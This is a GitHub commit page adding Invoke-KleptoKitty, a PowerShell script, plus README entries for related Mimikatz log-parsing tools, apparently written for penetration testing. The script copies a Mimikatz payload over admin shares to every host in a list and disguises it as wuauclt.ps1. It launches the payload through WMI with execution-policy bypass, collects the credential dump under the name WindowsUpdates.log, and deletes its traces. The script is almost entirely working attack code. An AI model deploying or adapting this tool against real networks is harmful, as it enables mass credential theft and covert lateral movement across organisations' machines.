Skip to content

Commit ce97d03

Browse files
0x6d69636b0x6d69636b
committed
Add Invoke-KleptoKitty
1 parent 5fc6f2b commit ce97d03

File tree

3 files changed

+174
-0
lines changed

3 files changed

+174
-0
lines changed

‎Invoke-KleptoKitty.ps1

Lines changed: 162 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,162 @@
1+
<#
2+
Invoke-KleptoKitty - Deploys Mimikatz and collects credentials
3+
4+
Author: Michael Schneider, scip AG
5+
License: MIT
6+
Copyright: 2019 Michael Schneider, scip AG
7+
Required Dependencies: None
8+
Optional Dependencies: None
9+
#>
10+
11+
[CmdletBinding()]
12+
Param (
13+
[Parameter(Mandatory=$true)]
14+
[ValidateScript({Test-Path $_})]
15+
[String]
16+
$HostsFile,
17+
18+
[ValidateSet("WMI","PsExec","PSRemoting")]
19+
[String]
20+
$RemoteCommandExecution = "WMI"
21+
)
22+
23+
<#
24+
to do:
25+
- DumpMethod = Mimikatz, Sqldumper.exe, ProcDump.exe
26+
- DeleveryMethod = Copy, RemoteHttp, RemoteShare
27+
- Config-File für Hosts, Payloadname, Token
28+
#>
29+
30+
$AdminCredential = Get-Credential
31+
$AdminUsername = $AdminCredential.UserName
32+
$AdminPassword = $AdminCredential.GetNetworkCredential().password
33+
34+
$Hosts = Get-Content $HostsFile
35+
$BasePath = "C:\tmp"
36+
$Timestamp = (Get-Date).ToString("yyyyMd")
37+
38+
$PayloadName = "Payload.ps1" # Payload like Invoke-Mimikatz.ps1
39+
$PayloadPath = "$BasePath\$PayloadName"
40+
$PayloadKey = "YourSecretKeyHere" # Use if the payload is encrypted
41+
$ProtocolName = "protocol_kleptokitty-$Timestamp.txt"
42+
$ProtocolPath = "$BasePath\$ProtocolName"
43+
44+
45+
Function Write-ProtocolEntry($Text, $LogLevel) {
46+
47+
$Time = Get-Date -Format G
48+
49+
Switch ($LogLevel) {
50+
"Info" { $Message = "[*] $Time - $Text"; Write-Host $Message; Break}
51+
"Debug" { $Message = "[-] $Time - $Text"; Write-Host -ForegroundColor Cyan $Message; Break}
52+
"Warning" { $Message = "[?] $Time - $Text"; Write-Host -ForegroundColor Yellow $Message; Break}
53+
"Error" { $Message = "[!] $Time - $Text"; Write-Host -ForegroundColor Red $Message; Break}
54+
"Success" { $Message = "[$] $Time - $Text"; Write-Host -ForegroundColor Green $Message; Break}
55+
Default { $Message = "[*] $Time - $Text"; Write-Host $Message; }
56+
}
57+
Add-Content -Path $ProtocolPath -Value $Message
58+
}
59+
60+
#
61+
# Push it. Dump it. Get it. Remove it. - by Tinker
62+
#
63+
Function Main {
64+
65+
Write-Output "`n"
66+
Write-Output " =^._.^="
67+
Write-Output " _( )/ KleptoKitty"
68+
Write-Output "`n"
69+
Write-ProtocolEntry "Starting KleptoKitty" "Info"
70+
71+
Foreach ($Hostname in $Hosts) {
72+
73+
# Get 2 random letters
74+
$PSDriveName = -join ((65..90) | Get-Random -Count 2 | % {[char]$_})
75+
76+
$LogTargetName = "mimikatz_$Hostname.log"
77+
$LogTargetPath = "$basePath\$LogTargetName"
78+
79+
$TargetShare = "\\$Hostname\c$"
80+
$TargetBasePath = "tmp"
81+
$TargetPayloadName = "wuauclt.ps1"
82+
$TargetPayloadPath = "$TargetShare\$TargetBasePath\$TargetPayloadName"
83+
$TargetPayloadLocalPath = "C:\$TargetBasePath\$TargetPayloadName"
84+
$TargetLogName = "WindowsUpdates.log"
85+
$TargetLogPath = "$TargetShare\$TargetBasePath\$TargetLogName"
86+
87+
Write-ProtocolEntry "Connecting to $Hostname and uploading payload" "Info"
88+
89+
try {
90+
New-PSDrive -Name $PSDriveName -PSProvider FileSystem -Root $TargetShare -Credential $AdminCredential -ErrorAction Stop | Out-Null
91+
Copy-Item -Path $PayloadPath -Destination $TargetPayloadPath -ErrorAction Stop
92+
} catch {
93+
$ErrorReason = $_.Exception.Message
94+
Write-ProtocolEntry "Connection to $Hostname failed. Reason: $ErrorReason" "Error"
95+
Break
96+
}
97+
98+
Write-ProtocolEntry "Dumping memory on $Hostname" "Info"
99+
100+
If ($RemoteCommandExecution -eq "WMI") {
101+
102+
try {
103+
# wmic /NODE:$Hostname /USER:$AdminUsername /PASSWORD:$AdminPassword PROCESS CALL CREATE "powershell.exe -Exec Bypass -Enc $TargetPayloadCommandEncoded" > $null
104+
$TargetPayloadCommand = "$TargetPayloadLocalPath -Token $PayloadKey"
105+
$WmiExec = Invoke-WmiMethod -Class "win32_process" -Name "create" -ArgumentList "powershell.exe -Exec Bypass $TargetPayloadCommand" -ComputerName $Hostname -Credential $AdminCredential -ErrorAction Stop
106+
} catch {
107+
$ErrorReason = $_.Exception.Message
108+
Write-ProtocolEntry "WMI connection to $Hostname failed. Reason: $ErrorReason" "Error"
109+
Break
110+
}
111+
} ElseIf ($RemoteCommandExecution -eq "PsExec") {
112+
try {
113+
#psexec .\PsExec64.exe -accepteula -nobanner -h \\192.168.242.133 -u admin hostname
114+
} catch {
115+
$ErrorReason = $_.Exception.Message
116+
Write-ProtocolEntry "PsExec connection to $Hostname failed. Reason: $ErrorReason" "Error"
117+
Break
118+
}
119+
} ElseIf ($RemoteCommandExecution -eq "PSRemoting") {
120+
try {
121+
# $Session = New-PSSession -ComputerName $ComputerName -credential $Cred
122+
# $Job = Invoke-Command -Session $Session -Scriptblock $Script
123+
# Remove-PSSession -Session $Session
124+
} catch {
125+
$ErrorReason = $_.Exception.Message
126+
Write-ProtocolEntry "PSRemoting connection to $Hostname failed. Reason: $ErrorReason" "Error"
127+
Break
128+
}
129+
}
130+
131+
$SleepTime = 60
132+
Write-ProtocolEntry "Let Mimikatz finish. Waiting for $SleepTime seconds!" "Debug"
133+
Start-Sleep -Seconds $SleepTime
134+
135+
Write-ProtocolEntry "Retrieving log file" "Info"
136+
try {
137+
Copy-Item -Path $TargetLogPath -Destination $LogTargetPath -ErrorAction Stop
138+
} catch {
139+
$ErrorReason = $_.Exception.Message
140+
Write-ProtocolEntry "Retrieving log file failed. Reason: $ErrorReason" "Error"
141+
}
142+
if (!$Error) {
143+
Write-ProtocolEntry "Log file $LogTargetName saved." "Success"
144+
}
145+
146+
Write-ProtocolEntry "Cleaning up" "Info"
147+
try {
148+
Remove-Item -Path $TargetLogPath -Force -ErrorAction Stop
149+
Remove-Item -Path $TargetPayloadPath -Force -ErrorAction Stop
150+
Remove-PSDrive -Name $PSDriveName -Force -ErrorAction Stop
151+
} catch {
152+
$ErrorReason = $_.Exception.Message
153+
Write-ProtocolEntry "Clean up failed. Reason: $ErrorReason" "Error"
154+
}
155+
156+
Write-ProtocolEntry "$Hostname done" "Info"
157+
}
158+
Write-ProtocolEntry "KleptoKitty is done" "Info"
159+
Write-Output "`n"
160+
}
161+
162+
Main

‎PowerShellUtilities.psd1

70 Bytes
Binary file not shown.

‎README.md

Lines changed: 12 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,2 +1,14 @@
11
# PowerShellUtilities
22
PowerShellUtilities provides various utility commandlets.
3+
4+
## Invoke-KleptoKitty
5+
Deploys Mimikatz and collects credentials.
6+
7+
## Invoke-MimikatzNetwork
8+
Invoke Mimikatz using the PowerSploit framework over the network.
9+
10+
## Select-MimikatzDomainAccounts
11+
Extract passwords or password hashes from Mimikatz log files. Developed for Mimikatz version 2.0 alpha.
12+
13+
## Select-MimikatzLocalAccounts
14+
Extract passwords or password hashes from Mimikatz log files. Developed for Mimikatz version 2.0 alpha.

0 commit comments

Comments
 (0)